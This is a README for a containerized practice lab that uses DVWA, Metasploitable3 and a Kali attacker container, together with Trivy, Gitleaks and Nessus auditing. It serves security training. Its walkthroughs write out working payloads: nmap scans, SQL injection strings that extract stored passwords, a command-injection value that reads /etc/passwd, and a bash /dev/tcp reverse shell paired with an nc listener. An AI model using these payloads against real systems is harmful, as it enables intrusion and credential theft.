Automated DevSecOps Pentest Lab & Zero-Trust Audit 🛡️🐳

An enterprise-grade, containerized cybersecurity laboratory and automated DevSecOps testing framework. Engineered on Docker Compose with strictly segmented Zero-Trust IPAM networks, granular Linux capabilities (cap_add), automated static/dynamic security analysis (SCA, IaC, Secrets), and interactive penetration testing workspaces.

---

🏗️ 3-Tier Zero-Trust Network Architecture

The infrastructure implements strict network isolation across three distinct IPAM subnets to mirror production Zero-Trust enterprise perimeters:

graph TD
    subgraph HOST["Host Machine (Workstation)"]
        UI_DVWA["HTTP 127.0.0.1:8080"]
        UI_NESSUS["HTTPS 127.0.0.1:8834"]
    end

    subgraph KALI_NET["Zone 1: KALI-NET (172.20.10.0/24) - Attacker Perimeter"]
        KALI["kali-devsecops\n(Hardened: NET_ADMIN, NET_RAW)"]
    end

    subgraph VICTIM_NET["Zone 2: VICTIM-NET (172.20.20.0/24) - Target Perimeter"]
        DVWA["dvwa-vuln\n(Web Application Target)"]
        META["metasploitable3\n(Network & Daemon Target)"]
    end

    subgraph AUDIT_NET["Zone 3: AUDIT-NET (172.20.30.0/24) - Telemetry & Security"]
        TRIVY["trivy-scanner\n(Static SCA & IaC Auditor)"]
        NESSUS["nessus\n(Vulnerability Scanner)"]
    end

    %% Network Connections
    KALI -.->|Attacker Channel| VICTIM_NET
    AUDIT_NET -.->|Audit & Telemetry Channel| VICTIM_NET
    
    %% Host Bindings
    UI_DVWA ===|Loopback Only| DVWA
    UI_NESSUS ===|Loopback Only| NESSUS

    classDef host fill:#2d3748,stroke:#cbd5e0,stroke-width:2px,color:#fff;
    classDef attacker fill:#742a2a,stroke:#e53e3e,stroke-width:2px,color:#fff;
    classDef target fill:#7b341e,stroke:#dd6b20,stroke-width:2px,color:#fff;
    classDef audit fill:#1a365d,stroke:#3182ce,stroke-width:2px,color:#fff;

    class HOST host;
    class KALI_NET,KALI attacker;
    class VICTIM_NET,DVWA,META target;
    class AUDIT_NET,TRIVY,NESSUS audit;

Loading

Network Segmentation Breakdown

Zone	Subnet	Gateway	Purpose & Security Controls	Attached Containers
kali-net	172.20.10.0/24	172.20.10.1	Attacker Perimeter: Isolated offensive tooling. Hardened container without privileged: true, constrained to NET_ADMIN and NET_RAW Linux capabilities for raw packet handling.	kali-devsecops
victim-net	172.20.20.0/24	172.20.20.1	Target Perimeter: Dedicated zone for vulnerable workloads. No direct exposure to public network interfaces.	dvwa-vuln, metasploitable3, kali-devsecops, nessus, trivy-scanner
audit-net	172.20.30.0/24	172.20.30.1	Telemetry & Audit: Static code analysis, container image vulnerability scans (Trivy), and network vulnerability assessments (Nessus).	nessus, trivy-scanner

---

⚡ Quick Start in 60 Seconds

Deploy the complete multi-tier lab and launch an interactive attack console with three standard commands:

# 1. Clone the repository and navigate to the project directory
git clone https://github.com/Haiagari/devsecops-pentest-lab.git
cd devsecops-pentest-lab

# 2. Run preflight checks and deploy the multi-tier container fleet
make up

# 3. Verify real-time network topology and IP address assignments
make status

# 4. Attach directly to the hardened Kali Linux attacker workspace
make kali

Exposed Endpoints & Authentication

• DVWA Web Application: http://127.0.0.1:8080 — Credentials: admin / password (Click Create / Reset Database upon first access)
• Tenable Nessus UI: https://127.0.0.1:8834 — Configured via .env (admin / ChangeMe123!)
• Kali Workspace CLI: Executed via make kali or ./scripts/lab.sh kali

---

🛠️ Complete make Command Reference

The automation suite exposes standard make targets mapped directly to underlying orchestration shell scripts:

Target	Description	Practical Example
make help	Display automated target reference with colored help outputs	make help
make check	Run preflight dependency and permission validations (Docker, Compose, socket)	make check
make up	Initialize .env, validate preflight, and start all containers in detached mode	make up
make down	Gracefully stop containers and teardown segmented bridge networks	make down
make status	Query Docker API to print live status, IPAM subnets, and active ports	make status
make kali	Attach to interactive Bash shell inside kali-devsecops	make kali
make scan-secrets	Run Gitleaks scanner across repository commits and working tree	make scan-secrets
make scan-iac	Audit docker-compose.yml for CIS Benchmark violations using Trivy	make scan-iac
make scan-containers	Scan container base images for CVEs and generate markdown audit summaries	make scan-containers
make scan-all	Execute complete DevSecOps scanning suite (Secrets, IaC, Containers)	make scan-all
make clean	Deep sanitation: purge containers, orphan networks, volumes, and report artifacts	make clean

---

🔬 Interactive Hands-on Pentest & Audit Walkthroughs

Lab 1: Network Reconnaissance & Port Scanning

Objective: Perform network mapping and service version enumeration from the attacker container against the isolated victim perimeter.

1. Spawn the attacker console:

   make kali

2. Discover live hosts on the target subnet (172.20.20.0/24):

   nmap -sn 172.20.20.0/24

3. Execute SYN Stealth Scan with OS fingerprinting and service banner grabbing against Metasploitable 3:

   nmap -sS -sV -sC -O -T4 172.20.20.0/24 -oN /root/victim-subnet-scan.txt

4. Verify open attack vectors: Inspect active services across standard ports (21/tcp FTP, 22/tcp SSH, 80/tcp HTTP, 445/tcp SMB, 3306/tcp MySQL).

---

Lab 2: Web Application Exploitation (SQLi & Command Injection)

Objective: Exploit OWASP Top 10 vulnerabilities in DVWA via browser and automated CLI payloads.

1. Navigate to http://127.0.0.1:8080 and log in (admin / password).
2. Set DVWA Security level to Low in the DVWA Security tab.
3. Exploit SQL Injection (Error-Based & Union-Based):
   • In the SQL Injection module, submit ID: 1' OR '1'='1
   • Extract database schema and usernames:

     1' UNION SELECT null, concat(user, ':', password) FROM users #

4. Exploit OS Command Injection:
   • In the Command Injection module, execute arbitrary commands via the IP parameter:

     127.0.0.1; uname -a; id; cat /etc/passwd

5. Reverse Shell Trigger from Kali Workspace:
   • On Kali (make kali), listen on port 4444:

     nc -lvnp 4444

   • In DVWA Command Injection input:

     127.0.0.1; bash -i >& /dev/tcp/172.20.10.2/4444 0>&1

---

Lab 3: DevSecOps Automated SCA & IaC Audit

Objective: Run local static application security testing, container software composition analysis, and IaC compliance checks.

1. Audit Infrastructure as Code:

   make scan-iac

   Checks docker-compose.yml against CIS Docker Benchmarks, detecting privileged escalation flags, missing healthchecks, and unrestricted socket access.
2. Scan Credentials and High-Entropy Secrets:

   make scan-secrets

   Uses Gitleaks regex patterns to verify no private keys, JWT secrets, or cloud tokens are committed.
3. Execute Container Image Vulnerability Scan (SCA):

   make scan-containers

   Generates both structured JSON data and formatted markdown at reports/container-scan-summary.md detailing CRITICAL and HIGH severity CVEs.

---

Lab 4: Remediation & Shift-Left CI/CD Verification

Objective: Validate that CI/CD quality gates prevent vulnerable configurations from merging into production branches.

1. Trigger Automated Multi-Stage GitHub Actions Workflow:
   • Every git push or pull_request against main runs .github/workflows/security.yml.
2. Four-Stage Verification Lifecycle:
   • Stage 1 (Gitleaks): Blocks commit if hardcoded secrets are discovered.
   • Stage 2 (Trivy IaC): Audits Docker Compose configuration syntax and security settings.
   • Stage 3 (Trivy SCA & SARIF): Analyzes container images and uploads findings via github/codeql-action/upload-sarif@v3.
   • Stage 4 (ShellCheck): Enforces POSIX compliance and safe variable expansion across all scripts.
3. Review SARIF Findings:
   • View uploaded vulnerability reports under the repository's Security > Code scanning alerts tab.

---

🔒 Security Hardening & Zero-Trust Posture

1. Granular Linux Capabilities: Replaced dangerous privileged: true flags on Kali Linux with granular capabilities cap_add: [NET_ADMIN, NET_RAW], preventing container escape while retaining raw packet manipulation capabilities.
2. Localhost Socket Binding: All published services (DVWA on 127.0.0.1:8080, Nessus on 127.0.0.1:8834) bind exclusively to loopback addresses, preventing accidental network exposure.
3. Secret Externalization: Passwords and environment credentials are separated into .env / .env.example templates with dynamic fallback interpolation ${NESSUS_PASSWORD:-ChangeMe123!}.
4. Automated CI/CD Gates: GitHub Actions enforces Gitleaks, Trivy IaC, Trivy SCA (with SARIF reporting to GitHub Security tab), and ShellCheck script validation on every pull request.

---

📚 Related Documentation

• 🛡️ DevSecOps Pipeline Directives — CI/CD architecture, trigger rules, and SARIF integration.
• 🚀 Educational Use Cases & Training Guide — Academic and Red/Blue team training workflows.
• 📋 Vulnerability Audit Report — Detailed vulnerability assessment and CVE breakdown.
• 📄 License (MIT) — Open-source license terms.

---

Author & Maintainer: Haiagari
Educational & DevSecOps Research Platform 🛡️